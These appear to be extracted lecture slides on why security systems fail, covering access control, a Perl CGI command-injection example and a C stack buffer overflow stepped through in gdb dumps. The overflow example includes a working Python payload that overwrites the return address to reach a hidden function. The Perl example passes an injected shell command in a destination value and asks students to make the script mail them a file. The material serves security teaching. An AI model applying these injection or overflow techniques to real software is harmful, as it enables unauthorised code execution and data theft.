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Why Security Systems Fail

Why Security Systems Fail. Capability List. Access Control List. ALL STATES. UNSAFE / UNDEFINED STATES. SAFE STATES. #!/usr/bin/perl # funky CGI script example $dest = "foo1"; # pretend this is the destination address from the user

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Why Security Systems Fail

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  1. Why Security Systems Fail

  2. Capability List

  3. Access Control List

  4. ALL STATES UNSAFE / UNDEFINED STATES SAFE STATES

  5. #!/usr/bin/perl # funky CGI script example $dest = "foo1"; # pretend this is the destination address from the user open (MAIL,"| /bin/cat >$dest "); # pretend this was a call to sendmail print MAIL "To: $dest\nFrom: me\n\nHi there!\n"; close MAIL; !/usr/bin/perl # funky CGI script example $dest = "foo1; echo 'this could be bad!';find . -name '*.c' -print;"; open (MAIL,"| /bin/cat >$dest "); # pretend this was a call to sendmail print MAIL "To: $dest\nFrom: me\n\nHi there!\n"; close MAIL;

  6. /usr/bin/perl –w # (1) quit unless we have the correct number of command-line args $num_args = $#ARGV + 1; if ($num_args != 2) { print "\nUsage: name.pl email-address brief-message\n"; exit; } # (2) we got two command line args, so assume it’s address $dest=$ARGV[0]; $content=$ARGV[1]; my $sendmail = "/usr/sbin/sendmail -t"; #open (MAIL,"| /bin/cat >$dest "); # pretend this was a call to sendmail open (MAIL,"|$sendmail") or die "Cannot open sendmail: $!"; print MAIL "To: $dest\n"; print MAIL "From: me\n"; print MAIL "Subject: test\n"; print MAIL "Content-type: text/plain\n\n"; print MAIL $content; close MAIL; Run it with ./tryit.pl ccpalmer “Some long message here inside quotes” Could you find a way to trick the perl script into mailing you some file that it shouldn’t???

  7. “Never fly in a plane designed by an optimist.”

  8. name[9] degree[4] … 0 0 0 0 0 0 0 0 0 0 0 0 0 0 strcpy(name,”charles”); strcpy(degree,”PhD”); … 0 ‘c’ ‘h’ ‘a’ ‘r’ ‘l’ ‘e’ ‘s’ 0 0 ‘P’ ‘h’ ‘D’ 0 printf(name); charles PhD printf(degree);

  9. name[9] degree[4] … 0 0 0 0 0 0 0 0 0 0 0 0 0 0 strcpy(name,”charleton”); 0 ‘c’ ‘h’ ‘a’ ‘r’ ‘l’ ‘e’ ‘t’ ‘o’ ‘n’ 0 0 0 0 … strcpy(degree,”PhD”); 0 ‘c’ ‘h’ ‘a’ ‘r’ ‘l’ ‘e’ ‘t’ ‘o’ ‘n’ ‘P’ ‘h’ ‘D’ 0 … printf(name); charletonPhD PhD printf(degree);

  10. #include <stdio.h> #include <stdlib.h> #include <string.h> void secret1(void) { puts("You found the secret function No. 1!\n"); } int main () { char string[2]; puts("Input: "); scanf("%s", string); printf("You entered %s.\n", string); return 0; }

  11. At startup of poof 0x0000000100000e52 <main+0>: push %rbp /* entry to main() */ 0x0000000100000e53 <main+1>: mov %rsp,%rbp 0x0000000100000e56 <main+4>: sub $0x10,%rsp 0x0000000100000e5a <main+8>: lea 0x75(%rip),%rdi 0x0000000100000e61 <main+15>: callq 0x100000ea4 /* puts () */ 0x0000000100000e66 <main+20>: lea -0x10(%rbp),%rsi 0x0000000100000e6a <main+24>: lea 0x6d(%rip),%rdi 0x0000000100000e71 <main+31>: mov $0x0,%eax 0x0000000100000e76 <main+36>: callq 0x100000eaa /* scanf () */ 0x0000000100000e7b <main+41>: lea -0x10(%rbp),%rsi 0x0000000100000e7f <main+45>: lea 0x5b(%rip),%rdi 0x0000000100000e86 <main+52>: mov $0x0,%eax 0x0000000100000e8b <main+57>: callq 0x100000e9e /* printf () */ 0x0000000100000e90 <main+62>: mov $0x0,%eax 0x0000000100000e95 <main+67>: leaveq 0x0000000100000e96 <main+68>: retq rip 0x000100000e52 rbp 0x7fff5fbff828 rsp 0x7fff5fbff818 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x20 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

  12. Before call to puts() 0x0000000100000e52 <main+0>: push %rbp /* entry to main() */ 0x0000000100000e53 <main+1>: mov %rsp,%rbp 0x0000000100000e56 <main+4>: sub $0x10,%rsp 0x0000000100000e5a <main+8>: lea 0x75(%rip),%rdi 0x0000000100000e61 <main+15>: callq 0x100000ea4 /* puts () */ 0x0000000100000e66 <main+20>: lea -0x10(%rbp),%rsi 0x0000000100000e6a <main+24>: lea 0x6d(%rip),%rdi 0x0000000100000e71 <main+31>: mov $0x0,%eax 0x0000000100000e76 <main+36>: callq 0x100000eaa /* scanf () */ 0x0000000100000e7b <main+41>: lea -0x10(%rbp),%rsi 0x0000000100000e7f <main+45>: lea 0x5b(%rip),%rdi 0x0000000100000e86 <main+52>: mov $0x0,%eax 0x0000000100000e8b <main+57>: callq 0x100000e9e /* printf () */ 0x0000000100000e90 <main+62>: mov $0x0,%eax 0x0000000100000e95 <main+67>: leaveq 0x0000000100000e96 <main+68>: retq rip 0x000100000e61 rbp 0x7fff5fbff810 rsp 0x7fff5fbff800 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

  13. Just inside of puts() 0x0000000100000e52 <main+0>: push %rbp /* entry to main() */ 0x0000000100000e53 <main+1>: mov %rsp,%rbp 0x0000000100000e56 <main+4>: sub $0x10,%rsp 0x0000000100000e5a <main+8>: lea 0x75(%rip),%rdi 0x0000000100000e61 <main+15>: callq 0x100000ea4 (ONE INSTRUCTION IN/* puts () */ 0x0000000100000e66 <main+20>: lea -0x10(%rbp),%rsi 0x0000000100000e6a <main+24>: lea 0x6d(%rip),%rdi 0x0000000100000e71 <main+31>: mov $0x0,%eax 0x0000000100000e76 <main+36>: callq 0x100000eaa /* scanf () */ 0x0000000100000e7b <main+41>: lea -0x10(%rbp),%rsi 0x0000000100000e7f <main+45>: lea 0x5b(%rip),%rdi 0x0000000100000e86 <main+52>: mov $0x0,%eax 0x0000000100000e8b <main+57>: callq 0x100000e9e /* printf () */ 0x0000000100000e90 <main+62>: mov $0x0,%eax 0x0000000100000e95 <main+67>: leaveq 0x0000000100000e96 <main+68>: retq rip 0x000100000ea4 rbp 0x7fff5fbff810 rsp 0x7fff5fbff7f8 0x7fff5fbff7f8: 0x66 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

  14. Just after return from puts() 0x0000000100000e52 <main+0>: push %rbp /* entry to main() */ 0x0000000100000e53 <main+1>: mov %rsp,%rbp 0x0000000100000e56 <main+4>: sub $0x10,%rsp 0x0000000100000e5a <main+8>: lea 0x75(%rip),%rdi 0x0000000100000e61 <main+15>: callq 0x100000ea4 /* puts () */ 0x0000000100000e66 <main+20>: lea -0x10(%rbp),%rsi 0x0000000100000e6a <main+24>: lea 0x6d(%rip),%rdi 0x0000000100000e71 <main+31>: mov $0x0,%eax 0x0000000100000e76 <main+36>: callq 0x100000eaa /* scanf () */ 0x0000000100000e7b <main+41>: lea -0x10(%rbp),%rsi 0x0000000100000e7f <main+45>: lea 0x5b(%rip),%rdi 0x0000000100000e86 <main+52>: mov $0x0,%eax 0x0000000100000e8b <main+57>: callq 0x100000e9e /* printf () */ 0x0000000100000e90 <main+62>: mov $0x0,%eax 0x0000000100000e95 <main+67>: leaveq 0x0000000100000e96 <main+68>: retq rip 0x000100000e66 rbp 0x7fff5fbff810 rsp 0x7fff5fbff800 0x7fff5fbff7f8: 0x66 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

  15. Just inside scanf( ) 0x0000000100000e52 <main+0>: push %rbp /* entry to main() */ 0x0000000100000e53 <main+1>: mov %rsp,%rbp 0x0000000100000e56 <main+4>: sub $0x10,%rsp 0x0000000100000e5a <main+8>: lea 0x75(%rip),%rdi 0x0000000100000e61 <main+15>: callq 0x100000ea4 /* puts () */ 0x0000000100000e66 <main+20>: lea -0x10(%rbp),%rsi 0x0000000100000e6a <main+24>: lea 0x6d(%rip),%rdi 0x0000000100000e71 <main+31>: mov $0x0,%eax 0x0000000100000e76 <main+36>: callq 0x100000eaa (ONE INSTRUCTION IN) /* scanf () */ 0x0000000100000e7b <main+41>: lea -0x10(%rbp),%rsi 0x0000000100000e7f <main+45>: lea 0x5b(%rip),%rdi 0x0000000100000e86 <main+52>: mov $0x0,%eax 0x0000000100000e8b <main+57>: callq 0x100000e9e /* printf () */ 0x0000000100000e90 <main+62>: mov $0x0,%eax 0x0000000100000e95 <main+67>: leaveq 0x0000000100000e96 <main+68>: retq rip 0x000100000e66 rsi 0x7fff5fbff800 rbp 0x7fff5fbff810 rsp 0x7fff5fbff7f8 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

  16. After return from scanf ( ) 0x0000000100000e52 <main+0>: push %rbp /* entry to main() */ 0x0000000100000e53 <main+1>: mov %rsp,%rbp 0x0000000100000e56 <main+4>: sub $0x10,%rsp 0x0000000100000e5a <main+8>: lea 0x75(%rip),%rdi 0x0000000100000e61 <main+15>: callq 0x100000ea4 /* puts () */ 0x0000000100000e66 <main+20>: lea -0x10(%rbp),%rsi 0x0000000100000e6a <main+24>: lea 0x6d(%rip),%rdi 0x0000000100000e71 <main+31>: mov $0x0,%eax 0x0000000100000e76 <main+36>: callq 0x100000eaa /* scanf () */ 0x0000000100000e7b <main+41>: lea -0x10(%rbp),%rsi 0x0000000100000e7f <main+45>: lea 0x5b(%rip),%rdi 0x0000000100000e86 <main+52>: mov $0x0,%eax 0x0000000100000e8b <main+57>: callq 0x100000e9e /* printf () */ 0x0000000100000e90 <main+62>: mov $0x0,%eax 0x0000000100000e95 <main+67>: leaveq 0x0000000100000e96 <main+68>: retq rip 0x000100000e7b rbp 0x7fff5fbff810 rsp 0x7fff5fbff800 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

  17. Just before stack cleanup 0x0000000100000e52 <main+0>: push %rbp /* entry to main() */ 0x0000000100000e53 <main+1>: mov %rsp,%rbp 0x0000000100000e56 <main+4>: sub $0x10,%rsp 0x0000000100000e5a <main+8>: lea 0x75(%rip),%rdi 0x0000000100000e61 <main+15>: callq 0x100000ea4 /* puts () */ 0x0000000100000e66 <main+20>: lea -0x10(%rbp),%rsi 0x0000000100000e6a <main+24>: lea 0x6d(%rip),%rdi 0x0000000100000e71 <main+31>: mov $0x0,%eax 0x0000000100000e76 <main+36>: callq 0x100000eaa /* scanf () */ 0x0000000100000e7b <main+41>: lea -0x10(%rbp),%rsi 0x0000000100000e7f <main+45>: lea 0x5b(%rip),%rdi 0x0000000100000e86 <main+52>: mov $0x0,%eax 0x0000000100000e8b <main+57>: callq 0x100000e9e /* printf () */ 0x0000000100000e90 <main+62>: mov $0x0,%eax 0x0000000100000e95 <main+67>: leaveq 0x0000000100000e96 <main+68>: retq rip 0x000100000e95 rbp 0x7fff5fbff810 rsp 0x7fff5fbff800 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

  18. And ready to return to the operating system? 0x0000000100000e52 <main+0>: push %rbp /* entry to main() */ 0x0000000100000e53 <main+1>: mov %rsp,%rbp 0x0000000100000e56 <main+4>: sub $0x10,%rsp 0x0000000100000e5a <main+8>: lea 0x75(%rip),%rdi 0x0000000100000e61 <main+15>: callq 0x100000ea4 /* puts () */ 0x0000000100000e66 <main+20>: lea -0x10(%rbp),%rsi 0x0000000100000e6a <main+24>: lea 0x6d(%rip),%rdi 0x0000000100000e71 <main+31>: mov $0x0,%eax 0x0000000100000e76 <main+36>: callq 0x100000eaa /* scanf () */ 0x0000000100000e7b <main+41>: lea -0x10(%rbp),%rsi 0x0000000100000e7f <main+45>: lea 0x5b(%rip),%rdi 0x0000000100000e86 <main+52>: mov $0x0,%eax 0x0000000100000e8b <main+57>: callq 0x100000e9e /* printf () */ 0x0000000100000e90 <main+62>: mov $0x0,%eax 0x0000000100000e95 <main+67>: leaveq 0x0000000100000e96 <main+68>: retq rip 0x000100000e96 rbp 0x414141414141 rsp 0x7fff5fbff818 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ?

  19. Hello secret1( ) !!! 0x0000000100000e40 <secret1+0>: push %rbp 0x0000000100000e41 <secret1+1>: mov %rsp,%rbp 0x0000000100000e44 <secret1+4>: lea 0x65(%rip),%rdi # 0x100000eb0 0x0000000100000e4b <secret1+11>: callq 0x100000ea4 <dyld_stub_puts> 0x0000000100000e50 <secret1+16>: leaveq 0x0000000100000e51 <secret1+17>: retq rip 0x000100000e40 rbp 0x414141414141 rsp 0x7fff5fbff818 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ?

  20. $ poof Input: A You entered A. $ cat poop import struct rip = 0x0000000100000e40 print("A"*24 + struct.pack("<q", rip)) $ python poop | poof Input: You entered AAAAAAAAAAAAAAAAAAAAAAAA@^N. You found the secret function No. 1! Segmentation fault $

  21. And speaking of passwords … • 4.7% of users have the password password; • 8.5% have the passwords password or 123456; • 9.8% have the passwords password, 123456 or 12345678; • 14% have a password from the top 10 passwords • 40% have a password from the top 100 passwords • 79% have a password from the top 500 passwords • 91% have a password from the top 1000 passwords From https://xato.net/passwords/more-top-worst-passwords/#.VAh-1Esc8pw

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